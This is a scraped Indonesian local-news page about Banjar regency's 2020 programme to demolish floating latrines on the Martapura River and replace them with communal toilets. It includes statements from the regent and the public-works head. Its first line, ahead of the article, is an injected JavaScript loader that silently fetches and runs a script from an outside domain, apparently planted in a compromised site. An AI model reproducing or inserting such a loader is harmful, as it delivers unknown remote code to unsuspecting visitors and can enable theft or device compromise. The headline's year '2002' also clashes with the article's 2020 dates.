(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Target PUPR Banjar di 2002, Bongkar 278 Jamban Apung


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar terus berkomitmen melakukan pembongkaran jamban-jamban apung yang berada di Sungai Martapura. Program sanitasi tersebut menjadi salah satu prioritas pembangunan di Kabupaten Banjar sesuai visi misi Bupati Banjar yang mencanangkan penghapusan 1000 jamban apung.

Penghapusan jamban apung bagian dari upaya meningkatkan sanitasi dan mendorong masyarakat hidup lebih sehat. Hal tersebut disampaikan Bupati Banjar KH Khalilurrahman pada saat kick off penghapusan jamban apung, di Desa Tambak Baru, Kecamatan Martapura Kota, Kamis (5/2/2020).

Kepemimpinan Bupati Banjar KH Khalilurrahman yang memasuki tahun kelima, telah dibongkar jamban apung dari tahun 2016 hingga tahun 2020 ini sebanyak 913 buah jamban apung dan masih tersisa 87 buah jamban apung dari target 1000 buah jamban apung.

Dimana pada pelaksanaan pembongkaran jamban apung di desa Tambak Baru ini, dibongkar sebanyak 122 jamban apung dari 5 desa pada 5 kecamatan di Kabupaten Banjar.

“Upaya meningkatkan layanan sanitasi ini tidaklah mudah, karena ini telah menjadi semacam tradisi masyarakat yang bermukim di bantaran sungai dan terbiasa buang hajat di sungai. Faktor lainnya juga seperti kurangnya kesadaran, ekonomi lemah, lahan rawa, serta terbatasnya lahan dan besarnya pendanaan,” ungkap Bupati Banjar.

Sebagai ganti pembongkaran jamban apung Pemkab Banjar menyiapkan WC komunal dengan septik tank sebagai alternatif bagi masyarakat, bukan asal bongkar, ucap Guru Khalil sapaan akrab Bupati Banjar tersebut.

Guru Khalil juga menjelaskan pada kepada masyarakat berdasar penelitian, air di Sungai Martapura mengandung bakteri e-colli mencapai 9.000 hingga 10.000 ppm (part per milion) dimana hal tersebut berada di atas ambang batas normal.

“Oleh karena itu, kita ingin masyarakat hidup sehat dan bersih, melalui kick off penghapusan jamban apung,” ucap Bupati Banjar.

Sementara itu, Plt Kadis PUPR Banjar HM Hilman yang juga menjabat sebagai Sekda Banjar menyampaikan pada tahun 2020 ini, pelaksanaan kegiatan pembongkaran jamban apung melalui Dana Alokasi Khusus (DAK) dan Anggaran Pendapatan dan Belanja Daerah (APBD) akan menghapuskan sebanyak 278 unit jamban terapung dan membangun sanitasi sebanyak 180 unit.

“Mudah-mudahan di akhir tahun 2020 hingga awal Januari 2021, sebanyak 1.341 unit jamban terapung dapat kita hapuskan sebagai program berkelanjutan, digantikan dengan pembangunan sanitasi antiseptik individu yang memenuhi standar,” terangnya. (mckominfobanjar/ags/prs)

Reporter : mckominfobanjar
Editor : Bie

 


Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

9 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

9 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

9 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

10 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

10 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.